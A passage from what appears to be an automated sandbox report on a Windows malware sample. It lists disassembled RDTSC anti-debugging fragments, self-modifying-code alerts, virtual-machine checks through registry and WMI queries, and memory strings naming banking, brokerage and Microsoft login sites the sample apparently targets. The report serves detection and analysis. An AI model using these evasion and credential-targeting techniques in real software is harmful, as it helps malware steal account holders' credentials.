Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0ADA second address: 4AF0AFD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FCB3D171h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F22FCB3D16Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0AFD second address: 4AF0B03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0B03 second address: 4AF0B52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FCB3D16Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [ebp-1Ch], esi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F22FCB3D173h 0x00000017 sub si, AE0Eh 0x0000001c jmp 00007F22FCB3D179h 0x00000021 popfd 0x00000022 mov ah, 17h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0B52 second address: 4AF0B58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0B9B second address: 4AF0BA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0BA1 second address: 4AF0BA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0BA7 second address: 4AF0BAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B009A6 second address: 4B009AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B009AC second address: 4B009C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a mov edx, ecx 0x0000000c mov esi, 2FC33CF9h 0x00000011 popad 0x00000012 mov dword ptr [esp], ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B009C7 second address: 4B009CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B009CB second address: 4B009D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B009D1 second address: 4B009D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B009D7 second address: 4B009DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B009DB second address: 4B009DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B009DF second address: 4B009F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F22FCB3D16Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B009F8 second address: 4B009FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B009FE second address: 4B00A02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00A02 second address: 4B00A9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 pushad 0x0000000a mov dx, ax 0x0000000d call 00007F22FC56C6CEh 0x00000012 pushfd 0x00000013 jmp 00007F22FC56C6D2h 0x00000018 adc cl, FFFFFFC8h 0x0000001b jmp 00007F22FC56C6CBh 0x00000020 popfd 0x00000021 pop esi 0x00000022 popad 0x00000023 mov dword ptr [esp], esi 0x00000026 pushad 0x00000027 mov ax, bx 0x0000002a mov bh, C1h 0x0000002c popad 0x0000002d mov esi, dword ptr [ebp+0Ch] 0x00000030 pushad 0x00000031 jmp 00007F22FC56C6D6h 0x00000036 movzx esi, bx 0x00000039 popad 0x0000003a test esi, esi 0x0000003c jmp 00007F22FC56C6CDh 0x00000041 je 00007F236D4FA005h 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007F22FC56C6D8h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00A9A second address: 4B00AA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FCB3D16Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00AA9 second address: 4B00AAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00BE8 second address: 4B00BEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DAE532 second address: 5DADE14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 nop 0x00000008 jl 00007F22FC56C6CCh 0x0000000e push dword ptr [ebp+122D0E85h] 0x00000014 mov dword ptr [ebp+122D1CC3h], eax 0x0000001a pushad 0x0000001b mov si, DC3Eh 0x0000001f mov ecx, dword ptr [ebp+122D3B17h] 0x00000025 popad 0x00000026 call dword ptr [ebp+122D1F5Dh] 0x0000002c pushad 0x0000002d mov dword ptr [ebp+122D1D1Fh], ebx 0x00000033 xor eax, eax 0x00000035 add dword ptr [ebp+122D22D5h], ebx 0x0000003b mov edx, dword ptr [esp+28h] 0x0000003f jmp 00007F22FC56C6CBh 0x00000044 mov dword ptr [ebp+122D39ABh], eax 0x0000004a cmc 0x0000004b pushad 0x0000004c call 00007F22FC56C6D0h 0x00000051 mov edi, ecx 0x00000053 pop ebx 0x00000054 mov edi, dword ptr [ebp+122D3D27h] 0x0000005a popad 0x0000005b mov esi, 0000003Ch 0x00000060 or dword ptr [ebp+122D2259h], ebx 0x00000066 add esi, dword ptr [esp+24h] 0x0000006a jl 00007F22FC56C6C7h 0x00000070 stc 0x00000071 cmc 0x00000072 lodsw 0x00000074 jmp 00007F22FC56C6CEh 0x00000079 add eax, dword ptr [esp+24h] 0x0000007d jmp 00007F22FC56C6D2h 0x00000082 mov ebx, dword ptr [esp+24h] 0x00000086 jbe 00007F22FC56C6C7h 0x0000008c clc 0x0000008d nop 0x0000008e push ecx 0x0000008f push eax 0x00000090 push edx 0x00000091 jo 00007F22FC56C6C6h 0x00000097 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F26796 second address: 5F2679C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F2679C second address: 5F267C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F22FC56C6CDh 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F22FC56C6D4h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F267C8 second address: 5F267CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F2692B second address: 5F2692F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F2692F second address: 5F26939 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F26D3A second address: 5F26D3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F2896B second address: 5F289F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 mov edx, dword ptr [ebp+122D3CCFh] 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007F22FCB3D168h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 0000001Ah 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a push EC9EC341h 0x0000002f pushad 0x00000030 jmp 00007F22FCB3D16Dh 0x00000035 pushad 0x00000036 pushad 0x00000037 popad 0x00000038 pushad 0x00000039 popad 0x0000003a popad 0x0000003b popad 0x0000003c add dword ptr [esp], 13613D3Fh 0x00000043 mov edx, edi 0x00000045 push 00000003h 0x00000047 push esi 0x00000048 sub dword ptr [ebp+122D221Ch], edx 0x0000004e pop edx 0x0000004f push 00000000h 0x00000051 jo 00007F22FCB3D16Ch 0x00000057 push 00000003h 0x00000059 mov edi, dword ptr [ebp+122D3B83h] 0x0000005f call 00007F22FCB3D169h 0x00000064 pushad 0x00000065 push eax 0x00000066 push edx 0x00000067 je 00007F22FCB3D166h 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F289F2 second address: 5F28A16 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F22FC56C6C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F22FC56C6D8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F28A16 second address: 5F28A47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FCB3D178h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F22FCB3D171h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F28A47 second address: 5F28B03 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F22FC56C6D5h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jnc 00007F22FC56C6DBh 0x00000015 mov eax, dword ptr [eax] 0x00000017 jmp 00007F22FC56C6CEh 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 jmp 00007F22FC56C6CEh 0x00000025 pop eax 0x00000026 jmp 00007F22FC56C6CFh 0x0000002b lea ebx, dword ptr [ebp+1244E7E8h] 0x00000031 clc 0x00000032 xchg eax, ebx 0x00000033 jnc 00007F22FC56C6E6h 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d jmp 00007F22FC56C6D7h 0x00000042 jg 00007F22FC56C6C6h 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F28B03 second address: 5F28B0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F22FCB3D166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F28BC8 second address: 5F28BCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F28C80 second address: 5F28C84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F28C84 second address: 5F28CB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push ebx 0x00000009 jmp 00007F22FC56C6D8h 0x0000000e pop ebx 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 jmp 00007F22FC56C6CBh 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F28CB9 second address: 5F28CDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F22FCB3D16Dh 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f push eax 0x00000010 push edx 0x00000011 jbe 00007F22FCB3D16Ch 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F28CDE second address: 5F28CE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F28CE4 second address: 5F28D33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jc 00007F22FCB3D174h 0x00000012 pushad 0x00000013 jnc 00007F22FCB3D166h 0x00000019 jc 00007F22FCB3D166h 0x0000001f popad 0x00000020 pop eax 0x00000021 mov dword ptr [ebp+122D1D13h], edx 0x00000027 lea ebx, dword ptr [ebp+1244E7F1h] 0x0000002d sbb si, 2296h 0x00000032 jmp 00007F22FCB3D178h 0x00000037 xchg eax, ebx 0x00000038 push eax 0x00000039 push ecx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F28D33 second address: 5F28D42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F28D42 second address: 5F28D52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F22FCB3D16Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F28D9C second address: 5F28E31 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F22FC56C6D1h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F22FC56C6CEh 0x00000011 nop 0x00000012 jmp 00007F22FC56C6CDh 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a mov di, F58Dh 0x0000001e pop ecx 0x0000001f push 1DF4CA9Ah 0x00000024 push esi 0x00000025 jmp 00007F22FC56C6D7h 0x0000002a pop esi 0x0000002b xor dword ptr [esp], 1DF4CA1Ah 0x00000032 jne 00007F22FC56C6CBh 0x00000038 push 00000003h 0x0000003a jno 00007F22FC56C6C7h 0x00000040 mov dword ptr [ebp+122D21C0h], edi 0x00000046 push 00000000h 0x00000048 mov dword ptr [ebp+122D1CADh], edi 0x0000004e push 00000003h 0x00000050 adc dh, 00000043h 0x00000053 call 00007F22FC56C6C9h 0x00000058 pushad 0x00000059 push edi 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F28E31 second address: 5F28E59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F22FCB3D16Ah 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f jmp 00007F22FCB3D173h 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F28E59 second address: 5F28E88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jne 00007F22FC56C6C6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jns 00007F22FC56C6D8h 0x00000016 mov eax, dword ptr [eax] 0x00000018 push edi 0x00000019 push eax 0x0000001a push edx 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F28E88 second address: 5F28EBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jmp 00007F22FCB3D172h 0x00000010 pop eax 0x00000011 lea ebx, dword ptr [ebp+1244E7FCh] 0x00000017 pushad 0x00000018 mov dword ptr [ebp+122D20A6h], ecx 0x0000001e popad 0x0000001f push eax 0x00000020 push ebx 0x00000021 jl 00007F22FCB3D16Ch 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F3BC5F second address: 5F3BC64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F47EA9 second address: 5F47EAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F47EAD second address: 5F47EBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F47EBB second address: 5F47EBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F47EBF second address: 5F47EC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F4804D second address: 5F48051 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F48051 second address: 5F4805D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F22FC56C6C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 76C8B4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 76C881 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 91B2D2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 919E4D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 946F6D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9B2DBC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5DADDA6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5DADE85 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5DAB27A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5F5F8A3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5FE6B52 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5F4B337 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 6300	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6180	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6532	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6544	Thread sleep time: -270000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6520	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6556	Thread sleep time: -32016s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, file.exe, 00000000.00000002.2471850696.0000000005F2E000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2466418946.00000000008FB000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: file.exe, 00000000.00000002.2470845753.000000000548B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\N
Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: file.exe, 00000000.00000003.2132827892.00000000054B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, file.exe, 00000000.00000003.2362167031.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2467068819.0000000000D88000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2467068819.0000000000DB7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: file.exe, 00000000.00000003.2362167031.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2467068819.0000000000DB7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn6\
Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: file.exe, 00000000.00000002.2470845753.000000000548B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2132827892.00000000054AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
